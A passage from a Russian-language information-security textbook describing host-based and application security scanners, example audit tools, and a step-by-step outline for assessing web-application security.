■ сравнения версий файлов или их атрибутов с имеющимися значениями в БД про верок;
■ поиска файлов/ключей реестра, свидетельствующих о наличии на узле того или иного приложения («троянского коня» и т. п.);
■ сравнения текущих значений параметров конфигурации с требуемыми (устанав ливаемыми в соответствии с утвержденной для ОИС ПБ).
Так, например, при анализе защищенности ОС производится ревизия подсистемы разграничения доступа, механизмов идентификации и аутентификации, средств мо ниторинга, аудита и других компонентов ОС с точки зрения соответствия их конфи гурации требуемому уровню защищенности узла. Также осуществляется контроль целостности ОС (включая неизменность программного кода и системных установок с момента предыдущего анализа), проверка переменных окружения и наличия уязви мостей системных и прикладных служб (типа электронной почты) и протоколов (ти па NFS, FTP, Telnet и других) с использованием БД уязвимостей сервисных служб или определенных версий ПО. Примерами таких средств являются давно созданные программы ASET (Automated Security Tool) для ОС Solaris, COPS (Computer Oracle and Password System) для ОС SunOS, FreeBSD, IRIX, AIX, Ultrix, HP-Unix, NeXT и пр., SATAN (Security Administrator Tool for Analizyng Networks) и др. Удобными средствами анализа защищенности ОС Windows являются свободно распространяе мые программные продукты CIS Windows 2000 Level I Scoring Tool и MBSA (Microsoft Security Baseline Analyzer) для ОС 2000. Есть и несколько российских разработок, например, «Ревизор Системы» (продукт Центра безопасности информа ции) - программный комплекс для централизованной фиксации настроек, обнаруже ния уязвимостей, контроля защищенности и автоматизированной проверки соответ ствия требованиям по безопасности информации локальных узлов автоматизирован ных систем (серверов, рабочих станций), функционирующих на основе ОС Windows.
Системные сканеры обычно имеют распределенную архитектуру (см. рис. 91, а), состоящую из агентов и консоли, контролирующей их работу и собирающей инфор мацию от них.
Очевидным достоинством системных сканеров является то, что они определяют очень точную, конкретную для данного хоста картину его защищенности, что не мо гут сделать ССАЗ, и выявляют требующие безотлагательного решения проблемы по укреплению защиты этого узла.
Среди недостатков СиСАЗ наиболее часто отмечают такие:
1) методы анализа зависят от типа конкретного исследуемого узла и, таким обра зом, требуют очень точной настройки СиСАЗ под эту платформу;
2) эксплуатация и обновление баз СиСАЗ часто требуют намного больше усилий, чем при анализе ССАЗ.
5.6. Сканеры безопасности для приложений
Сканеры безопасности для приложений (application-based) выполняют специали зированный анализ защищенности конкретных приложений. Такой анализ заключа ется в поиске уязвимостей, часто приводящих к следующим последствиям: перепол нение буфера, «гонки» (соревнования), использование привилегий серверных компо нентов и манипуляция с данными на стороне клиента. Эти и другие уязвимости приложений возникают в результате ошибок проектирования, реализации или экс плуатации. Ошибки проектирования выявляются анализом логики работы приложе ния. Ошибки эксплуатации выявляются при анализе настроек конфигурирования и условий (среды, платформ и т. п.) работы приложений. Для поиска уязвимостей реа лизации в приложениях используются 2 основных подхода:
■ анализ исходного текста (такой подход требует больших усилий, временных и де нежных затрат; также в мире коммерческого ПО не всегда удается получить для анализа исходный текст);
■ анализ исполняемого файла (при этом особые сложности возникают, когда при ложение является распределенным - тогда тщательно анализируется размещение компонентов и их взаимодействие и отдельно рассматриваются клиентская и сер верная части).
Для целей анализа приложения удобно разделить на две группы:
1) веб-приложения (web-based applications) (они используются в качестве компо нентов корпоративных серверов Web, СУБД, почты..; балансировка нагрузки; час тичная обработка данных на стороне клиента; использование языков сценариев для разработки; анонимность клиентов);
2) скомпилированные приложения (compiled applications).
Анализ защищенности веб-приложений выполняется в следующей последова тельности:
1) оценка критичности информации, «видимой» со стороны клиента;
2) оценка доступности информации, прямо или косвенно указывающей на исполь зуемые серверные приложения;
3) проверка реакции приложения на различные вводимые данные;
4) проверка кода на клиентской стороне и локально сохраняемой информации (типа cookie и т. п.);
5) исследование взаимодействия между компонентами системы;
6) проверка возможности для нарушителя использования техники «эскалации» привилегий или других уязвимостей;
7) изучение возможностей вмешательства в процесс передачи данных между ком понентами системы;
8) проверка надежности используемых способов аутентификации;
9) общая (заключительная) оценка всей системы в целом, проверка параметров безопасности с точки зрения различных моделей угроз.